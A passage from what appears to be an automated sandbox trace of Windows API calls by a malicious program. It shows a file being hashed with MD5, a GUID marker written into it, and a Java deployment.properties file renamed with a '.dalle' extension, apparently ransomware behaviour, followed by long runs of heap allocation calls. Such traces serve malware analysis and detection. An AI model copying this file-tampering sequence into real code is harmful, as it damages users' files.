lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x2cf, lpOverlapped=0x0) returned 1 [0122.102] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.102] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.102] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.102] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1160) returned 1 [0122.103] CryptCreateHash (in: hProv=0x6c1160, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0122.103] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0122.103] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0122.103] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0122.103] GetLastError () returned 0x0 [0122.103] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0122.103] CryptReleaseContext (hProv=0x6c1160, dwFlags=0x0) returned 1 [0122.103] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0122.103] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x2cf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.103] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0122.103] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0122.103] CloseHandle (hObject=0x618) returned 1 [0122.104] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties.dalle")) returned 1 [0122.104] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0122.105] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.105] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f78ea0 | out: hHeap=0x5e0000) returned 1 [0122.105] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="security", cAlternateFileName="")) returned 1 [0122.106] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tmp", cAlternateFileName="")) returned 1 [0122.106] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tmp", cAlternateFileName="")) returned 0 [0122.106] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0122.106] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0122.106] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094c58 | out: hHeap=0x5e0000) returned 1 [0122.106] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0122.106] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094c58 [0122.106] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0122.106] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.106] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.106] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.106] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.106] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.106] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.106] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.106] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.106] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.106] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.106] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.106] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.106] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.106] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.106] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.106] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.106] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.106] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.106] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.107] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.107] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.107] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.107] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.107] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.107] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.107] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.107] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0122.107] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.107] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.107] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.107] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.107] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.107] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.107] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.107] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.107] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.107] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.107] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.107] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.107] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.107] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.107] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.107] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.107] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.107] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.107] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.107] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.107] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.107] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.108] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.108] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.108] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.108] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.108] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.108] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.108] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.108] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.108] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.108] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.108] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.108] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.108] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.108] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.108] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.108] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.108] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.108] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.108] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.108] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.108] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.108] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.108] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.108] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.108] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.108] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.108] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.108] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.108] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.108] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.108] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.109] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.109] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.109] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.109] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.109] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.109] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.109] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.109] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.109] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.109] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.109] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.109] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.109] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0122.109] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.109] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.109] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.109] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.109] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.109] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.109] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.109] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.109] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.109] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0122.109] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.109] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.109] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.109] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.109] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.109] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.109] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.109] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.109] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.110] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.110] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.110] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.110] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.110] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.110] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.110] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.110] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.110] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.110] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.110] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.110] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.110] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0122.110] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.110] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.111] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.111] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.111] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.111] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.111] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.111] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.111] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.111] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.111] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.111] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.111] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.111] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.111] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.111] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.111] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.111] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.111] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.111] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.111] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.111] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.111] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.111] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.111] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.111] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.111] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.111] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.111] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.111] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.111] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.111] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.112] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.112] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.112] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.112] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.112] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.112] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.112] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.112] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.112] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.112] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0122.112] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.112] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.112] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.112] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.112] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.112] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.112] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.112] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.112] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.112] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.112] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.112] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.112] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.112] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.112] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.112] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.112] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.112] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.112] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.112] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.112] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.112] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.113] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0122.113] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0122.113] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.113] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0122.113] HeapFree (in: 